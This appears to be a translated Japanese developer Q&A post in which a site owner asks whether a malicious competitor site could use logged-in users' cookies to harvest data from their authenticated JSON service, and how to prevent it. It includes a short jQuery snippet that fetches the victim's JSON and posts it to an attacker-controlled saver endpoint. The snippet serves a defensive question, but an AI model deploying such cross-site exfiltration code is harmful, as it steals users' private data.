「ライブ」データを表示するために Web ページの 1 つで使用される JSON Web サービスがあります。このページにアクセスするには、ユーザーがログインする必要があります。私たちは、悪意のあるサイト (競合他社) がこのデータを収集できることを懸念しています。しかし、私たちが予想している問題がもっともらしいかどうかはわかりません。
ユーザーがログインすると、「remember me」Cookie がユーザーのマシンに保存されます。誰かが私たちの Web サービスに AJAX リクエストを送信し、ログインしているユーザーにそのサイトにアクセスするように仕向けるサイトを構築した場合、彼らは私たちのサービスから情報を取得して保存することができるでしょうか? もしそうなら、どうすればそのようなことから身を守ることができますか?
例えば:
悪意のある Web サイトが次のようなスクリプトを作成してデータを取得する可能性があります。
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
彼らは私たちの JSON フィードをヒットしているので、私たちのサイトに Cookie を送信しないで、ユーザーは認証されます。それらは認証されるので、機密データを送り返しませんか?